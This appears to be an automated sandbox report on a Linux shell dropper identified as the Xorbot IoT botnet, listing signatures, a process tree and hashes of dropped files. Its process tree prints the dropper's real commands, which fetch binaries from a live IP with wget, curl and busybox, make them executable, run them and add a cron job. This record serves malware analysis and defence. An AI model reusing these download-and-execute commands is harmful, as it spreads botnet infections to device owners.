Analysis

  • max time kernel
    92s
  • max time network
    150s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250619-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    10/09/2025, 21:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250910-1d2rtatzhs
  • SHA256 63ca86a8ed88f82eacad91d7e16454e7ee0a1384098b9e3a4641c14baa54debf
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (577) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:710
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:712
      • /usr/bin/wget
        wget http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:714
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:736
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:741
      • /bin/chmod
        chmod 777 WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • File and Directory Permissions Modification
        PID:742
      • /tmp/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        ./WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
          PID:743
        • /bin/rm
          rm WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • Writes file to tmp directory
            PID:748
          • /bin/chmod
            chmod 777 yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            ./yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
              PID:751
            • /bin/rm
              rm yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
              2⤵
                PID:754
              • /usr/bin/wget
                wget http://178.16.54.252/bins/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Writes file to tmp directory
                PID:756
              • /usr/bin/curl
                curl -O http://178.16.54.252/bins/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Writes file to tmp directory
                PID:768
              • /bin/busybox
                /bin/busybox wget http://178.16.54.252/bins/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Writes file to tmp directory
                PID:785
              • /bin/chmod
                chmod 777 iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • File and Directory Permissions Modification
                PID:793
              • /tmp/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                ./iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                  PID:794
                • /bin/rm
                  rm iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                  2⤵
                    PID:797
                  • /usr/bin/wget
                    wget http://178.16.54.252/bins/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                    • Writes file to tmp directory
                    PID:799
                  • /usr/bin/curl
                    curl -O http://178.16.54.252/bins/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                    • Writes file to tmp directory
                    PID:806
                  • /bin/busybox
                    /bin/busybox wget http://178.16.54.252/bins/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                    • Writes file to tmp directory
                    PID:807
                  • /bin/chmod
                    chmod 777 W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                    • File and Directory Permissions Modification
                    PID:808
                  • /tmp/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    ./W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:809
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:811
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:812
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:813
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:814
                      • /bin/rm
                        rm W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                        2⤵
                          PID:816
                        • /usr/bin/wget
                          wget http://178.16.54.252/bins/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                          2⤵
                            PID:819
                          • /usr/bin/curl
                            curl -O http://178.16.54.252/bins/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                            2⤵
                              PID:822
                            • /bin/busybox
                              /bin/busybox wget http://178.16.54.252/bins/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                              2⤵
                              • Writes file to tmp directory
                              PID:864
                            • /bin/chmod
                              chmod 777 vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                              2⤵
                              • File and Directory Permissions Modification
                              PID:875
                            • /tmp/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                              ./vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                              2⤵
                                PID:876
                              • /bin/rm
                                rm vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                                2⤵
                                  PID:879
                                • /usr/bin/wget
                                  wget http://178.16.54.252/bins/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                                  2⤵
                                    PID:880
                                  • /usr/bin/curl
                                    curl -O http://178.16.54.252/bins/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                                    2⤵
                                      PID:883
                                    • /bin/busybox
                                      /bin/busybox wget http://178.16.54.252/bins/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:886
                                    • /bin/chmod
                                      chmod 777 esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:897
                                    • /tmp/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                                      ./esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                                      2⤵
                                        PID:898
                                      • /bin/rm
                                        rm esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                                        2⤵
                                          PID:901
                                        • /usr/bin/wget
                                          wget http://178.16.54.252/bins/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                          2⤵
                                            PID:902
                                          • /usr/bin/curl
                                            curl -O http://178.16.54.252/bins/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                            2⤵
                                            • Reads runtime system information
                                            PID:904
                                          • /bin/busybox
                                            /bin/busybox wget http://178.16.54.252/bins/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:905
                                          • /bin/chmod
                                            chmod 777 sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:906
                                          • /tmp/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                            ./sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                            2⤵
                                              PID:907
                                            • /bin/rm
                                              rm sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                              2⤵
                                                PID:909
                                              • /usr/bin/wget
                                                wget http://178.16.54.252/bins/RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk
                                                2⤵
                                                  PID:910
                                                • /usr/bin/curl
                                                  curl -O http://178.16.54.252/bins/RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:911
                                                • /bin/busybox
                                                  /bin/busybox wget http://178.16.54.252/bins/RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:912
                                                • /bin/chmod
                                                  chmod 777 RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:913
                                                • /tmp/RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk
                                                  ./RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk
                                                  2⤵
                                                    PID:914
                                                  • /bin/rm
                                                    rm RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk
                                                    2⤵
                                                      PID:916
                                                    • /usr/bin/wget
                                                      wget http://178.16.54.252/bins/s52GCFjoUiOyb0KtK3xuYlaKkYUcbjWLSY
                                                      2⤵
                                                        PID:917

                                                    Network

                                                          MITRE ATT&CK Enterprise v16

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk

                                                          • Path /tmp/RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk
                                                          • Size 114KB
                                                          • SHA256 b53d4781bbadb17014da280e274e11f2de9063a35f2eabd32d4596707b147306
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU

                                                          • Path /tmp/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                                                          • Size 152KB
                                                          • SHA256 f39b67fff1f106fb1b4fa9beb386427c8e7eb010f306ad0445da70bffc855f2e
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz

                                                          • Path /tmp/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
                                                          • Size 113KB
                                                          • SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI

                                                          • Path /tmp/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                                                          • Size 141KB
                                                          • SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u

                                                          • Path /tmp/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                                                          • Size 178KB
                                                          • SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI

                                                          • Path /tmp/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                                          • Size 152KB
                                                          • SHA256 d8018e31b77b135ed300a988757f409347d013b76f9c9a4972e48cb715f45967
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ

                                                          • Path /tmp/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                                                          • Size 118KB
                                                          • SHA256 85758df12964024af3ae829e3630f9ad5de7c55dae00181198033da8816e3293
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms

                                                          • Path /tmp/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
                                                          • Size 102KB
                                                          • SHA256 cb4a3665ebd12bdb094b9fc188793c67ec3008363a49b1dde00d488b54df984b
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          tmp.Ohg5NY

                                                          • Path /var/spool/cron/crontabs/tmp.Ohg5NY
                                                          • Size 210B
                                                          • SHA256 be4d01aa9c2cd9619f9d41b15e75fef7e9ee78a7237395f7a33772eb9ed5e5ed
                                                          • MD5 SHA1 SHA512